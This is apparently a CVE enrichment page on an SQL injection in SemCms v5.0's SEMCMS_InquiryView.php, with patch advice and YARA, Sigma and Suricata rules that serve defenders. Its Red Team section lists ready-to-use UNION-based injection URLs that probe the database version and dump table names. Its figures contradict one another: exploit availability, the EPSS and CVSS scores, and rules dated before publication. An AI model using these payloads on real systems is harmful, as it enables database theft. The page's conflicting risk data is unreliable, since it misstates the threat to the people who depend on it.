☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-51658

CVE-2025-51658 SQL Injection in Semcms
📅 PUBLISHED: 2025-07-14 00:00 UTC 🔄 UPDATED: 2026-09-23 20:30 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.23%
👁️
0.23% probability
5.7× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.4
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-51658 is a SQL injection vulnerability discovered in SemCms v5.0, specifically within the SEMCMS_InquiryView.php file. The flaw exists in the handling of the ID parameter, which is not properly sanitized before being used in a SQL query. This allows an unauthenticated attacker to inject arbitrary SQL commands, potentially leading to unauthorized data access, modification, or deletion. The vulnerability is publicly known, and proof-of-concept (PoC) details are available, though no official patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation activity in the wild at the time of analysis, but the risk remains significant for unpatched systems.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It affects a standalone PHP application (SemCms v5.0). No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is reported as 0.0, which is likely a placeholder or uncalculated value. Based on the nature of the vulnerability (SQL injection via a GET parameter with no authentication required), a reasonable CVSS v3.1 vector would be:

  • Attack Vector (AV): Network (N)
  • Attack Complexity (AC): Low (L)
  • Privileges Required (PR): None (N)
  • User Interaction (UI): None (N)
  • Scope (S): Unchanged (U)
  • Confidentiality (C): High (H)
  • Integrity (I): High (H)
  • Availability (A): High (H)

Estimated CVSS v3.1 Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is trivial to exploit, requires no authentication, and can lead to full database compromise.

Deep Dive & Mechanics

The vulnerability resides in SEMCMS_InquiryView.php. The ID parameter is retrieved from the HTTP request (likely via $_GET['ID']) and directly concatenated into a SQL query without proper sanitization or parameterization. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands.

Vulnerable Code Snippet (Conceptual):

<?php
$id = $_GET['ID'];
$sql = "SELECT * FROM inquiries WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

The lack of input validation or prepared statements makes the application susceptible to classic SQL injection. An attacker can inject a single quote (') to terminate the string and then append malicious SQL.

Vulnerable vs. Patched Code

Vulnerable Code (SemCms v5.0):

<?php
$id = $_GET['ID'];
$sql = "SELECT * FROM inquiries WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Patched Code (Hypothetical - No official patch available):

<?php
$id = intval($_GET['ID']); // Cast to integer
$sql = "SELECT * FROM inquiries WHERE id = $id";
$result = mysqli_query($conn, $sql);
?>

Or using prepared statements:

<?php
$stmt = $conn->prepare("SELECT * FROM inquiries WHERE id = ?");
$stmt->bind_param("i", $_GET['ID']);
$stmt->execute();
$result = $stmt->get_result();
?>

Since no official patch exists, users must implement their own input validation or migrate to a secure alternative.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • Target running SemCms v5.0 with SEMCMS_InquiryView.php accessible.
  • No authentication required.

Exploit Steps:

  1. Identify the vulnerable endpoint: http://target.com/SEMCMS_InquiryView.php?ID=1
  2. Test for SQL injection by appending a single quote: http://target.com/SEMCMS_InquiryView.php?ID=1'
    • If an error is returned (e.g., MySQL syntax error), the endpoint is vulnerable.
  3. Use UNION-based injection to extract data. Example:
    http://target.com/SEMCMS_InquiryView.php?ID=1 UNION SELECT 1,2,3,4,5,6,7,8,9,10--
    
    Adjust the number of columns based on the original query.
  4. Extract database information:
    http://target.com/SEMCMS_InquiryView.php?ID=1 UNION SELECT 1,@@version,3,4,5,6,7,8,9,10--
    
  5. Dump table names:
    http://target.com/SEMCMS_InquiryView.php?ID=1 UNION SELECT 1,table_name,3,4,5,6,7,8,9,10 FROM information_schema.tables--
    

Example Payload (URL-encoded):

http://target.com/SEMCMS_InquiryView.php?ID=1%27%20UNION%20SELECT%201%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10--%20

Blue Team (Defensive)

Detection:

  • Monitor HTTP GET requests to SEMCMS_InquiryView.php with suspicious ID parameters containing SQL keywords (UNION, SELECT, DROP, etc.) or special characters (single quote, double dash).
  • Enable web application firewall (WAF) rules to block SQL injection patterns.
  • Use database activity monitoring to detect anomalous queries.

Mitigation:

  • Immediately apply input validation: cast ID to an integer or use prepared statements.
  • If patching is not possible, restrict access to SEMCMS_InquiryView.php via IP whitelisting or .htaccess.
  • Consider migrating to a supported CMS.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to SEMCMS_InquiryView.php with ID parameter containing SQL injection patterns (e.g., ', UNION, SELECT, --).
    • Outbound database connections from the web server to unexpected IPs (data exfiltration).
  • File IOCs:
    • Modified SEMCMS_InquiryView.php file (if attacker uploads a web shell).
    • Presence of suspicious files in the web root (e.g., cmd.php, shell.php).
  • Log IOCs:
    • Web server logs showing repeated SQL injection attempts.
    • Database logs showing queries with UNION SELECT or INTO OUTFILE.

Detection Engineering

YARA Rule

rule CVE_2025_51658_SQLi_SemCms {
    meta:
        description = "Detects SQL injection attempts targeting SemCms v5.0 SEMCMS_InquiryView.php"
        author = "Valters IT"
        date = "2025-04-01"
        cve = "CVE-2025-51658"
    strings:
        $suspicious_param = /[?&]ID=.*['\"]|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#/ nocase
        $vulnerable_script = "SEMCMS_InquiryView.php" nocase
    condition:
        $vulnerable_script and $suspicious_param
}

Sigma Rule

title: SQL Injection Attempt on SemCms SEMCMS_InquiryView.php
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects SQL injection attempts targeting the ID parameter in SEMCMS_InquiryView.php
author: Valters IT
date: 2025-04-01
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains: 
            - "SEMCMS_InquiryView.php"
        cs-uri-query|re: 
            - "ID=.*['\"]"
            - "ID=.*UNION"
            - "ID=.*SELECT"
            - "ID=.*DROP"
            - "ID=.*--"
    condition: selection
falsepositives:
    - Legitimate use of special characters in ID parameter (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-51658 SQL Injection Attempt on SemCms SEMCMS_InquiryView.php"; flow:to_server; content:"SEMCMS_InquiryView.php"; http_uri; pcre:"/ID=.*['\"]|UNION|SELECT|DROP|INSERT|UPDATE|DELETE|--|#/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Apply input validation to the ID parameter. Cast it to an integer using intval() or use prepared statements with parameterized queries.
  2. Short-term: Restrict access to SEMCMS_InquiryView.php via .htaccess or web server configuration (e.g., IP whitelist).
  3. Long-term: Migrate to a supported and actively maintained CMS. SemCms v5.0 is no longer receiving security updates.
  4. Monitoring: Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.
  5. Backup: Ensure regular backups of the database and web application files.

Valters IT
Securing Digital Frontiers

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-51658/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.